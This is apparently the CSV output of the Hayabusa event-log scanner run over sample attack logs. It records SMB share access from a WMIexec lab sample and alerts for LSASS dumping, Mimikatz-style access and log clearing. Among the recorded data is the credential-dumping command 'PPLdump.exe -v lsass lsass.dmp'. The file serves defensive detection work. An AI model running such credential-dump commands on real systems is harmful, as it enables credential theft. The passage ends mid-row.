\\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio53a7a42c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio53a7a42c#\7b19e9c40f25ea7b5ca13312053ab849 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.224 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio080b339b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.240 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio080b339b#\d47241c3aea71d38b02fd1cd03c55474 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.256 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio84a7b877# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.257 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio84a7b877#\2837fdc670a5c72d64db85e2af347449 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.282 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio84a6349c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.282 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatio84a6349c#\7fac8b827be2ffa333eda4ee3560d8f4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.282 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatioaec034ca# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.282 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatioaec034ca#\155b3e5bd15d88ce27d096bd7c40bd33 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.298 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatiob3047ded# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatiob3047ded#\991f02d895032e2eca7f6baebab96ddc : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatiod51afaa5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\Presentatiod51afaa5#\ee4933bf7dcf5304cb565e4f2b833b24 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\PresentationCore : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\PresentationCore\71df43fcb7a7745ef38a6ce40ff33c2d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\PresentationUI : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\PresentationUI\16135860bdfd502ca9212ab087e9dd26 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\ReachFramework : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\ReachFramework\0dbd8b9aecffc6cde6bb8aab468084f4 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.313 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\SecurityAudf6921413# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.329 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_64\SecurityAudf6921413#\085b01b1533aaba67cfade21b3bda1a5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.329 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Documents : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:32.329 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:33.636 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:33.636 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG\DESKTOP : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:33.636 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:33.636 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.108 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\SMB exec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.108 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\SMB exec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.108 +09:00,fs03vuln.offsec.lan,5145,high,SMB Create Remote File Admin Share,,rules/sigma/builtin/security/win_smb_file_creation_admin_shares.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\SMB exec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop\SMB exec.evtx : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.109 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63565 : LogonID: 0x18c318,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63566 : LogonID: 0x18c326,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: : IP Address: 10.23.23.9 : Port: 63567 : LogonID: 0x18c336,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x18c318,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x18c326,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x18c336,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.124 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG\DESKTOP\DESKTOP.INI : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.140 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.179 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS\ADMMIG\DESKTOP : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.195 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.211 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig\Desktop : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.211 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:36.211 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\admmig : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-23 07:09:25.389 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: PPLdump.exe -v lsass lsass.dmp : Path: C:\Users\IEUser\Desktop\PPLdump.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:25.389 +09:00,MSEDGEWIN10,1,high,LSASS Memory Dumping,,rules/sigma/process_creation/win_lsass_dump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:26.081 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\services.exe 652 ""lsass.dmp"" a708b1d9-e27b-48bc-8ea7-c56d3a23f99 -v : Path: C:\Windows\System32\services.exe : User: NT AUTHORITY\SYSTEM : Parent Command: PPLdump.exe -v lsass lsass.dmp",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:26.081 +09:00,MSEDGEWIN10,1,low,Windows Processes Suspicious Parent Directory,,rules/sigma/process_creation/win_proc_wrong_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:26.081 +09:00,MSEDGEWIN10,1,high,LSASS Memory Dumping,,rules/sigma/process_creation/win_lsass_dump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:26.163 +09:00,MSEDGEWIN10,11,high,CreateMiniDump Hacktool,,rules/sigma/file_event/file_event_hktl_createminidump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:26.163 +09:00,MSEDGEWIN10,11,high,LSASS Process Memory Dump Files,,rules/sigma/file_event/file_event_lsass_dump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:26.163 +09:00,MSEDGEWIN10,11,high,LSASS Memory Dump File Creation,,rules/sigma/file_event/sysmon_lsass_memory_dump_file_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:26.163 +09:00,MSEDGEWIN10,10,high,Credentials Dumping Tools Accessing LSASS Memory,,rules/sigma/process_access/sysmon_cred_dump_lsass_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:26.163 +09:00,MSEDGEWIN10,10,high,Mimikatz Detection LSASS Access,,rules/sigma/deprecated/sysmon_mimikatz_detection_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:26.163 +09:00,MSEDGEWIN10,10,high,LSASS Memory Dump,,rules/sigma/process_access/sysmon_lsass_memdump.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:35.165 +09:00,MSEDGEWIN10,12,medium,Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:35.165 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:35.284 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\svchost.exe -k LocalService -p -s fdPHost : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\LOCAL SERVICE : Parent Command: ?,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:35.284 +09:00,MSEDGEWIN10,1,high,Suspicious Svchost Process,,rules/sigma/process_creation/win_susp_svchost.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-23 07:09:35.284 +09:00,MSEDGEWIN10,1,low,Windows Processes Suspicious Parent Directory,,rules/sigma/process_creation/win_proc_wrong_parent.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Credential Access/ppl_bypass_ppldump_knowdll_hijack_sysmon_security.evtx +2021-04-26 17:25:31.043 +09:00,srvdefender01.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.560 +09:00,srvdefender01.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x4da321f,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.560 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 47020 : LogonID: 0x4da321f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.584 +09:00,srvdefender01.offsec.lan,4672,informational,Admin Logon,User: admmig : LogonID: 0x4da324f,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4688,5140,5145-WMIexec execution via SMB (GLOBAL).evtx" +2021-04-26 17:25:36.584 +09:00,srvdefender01.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.123.11 : Port: 34114 : LogonID: 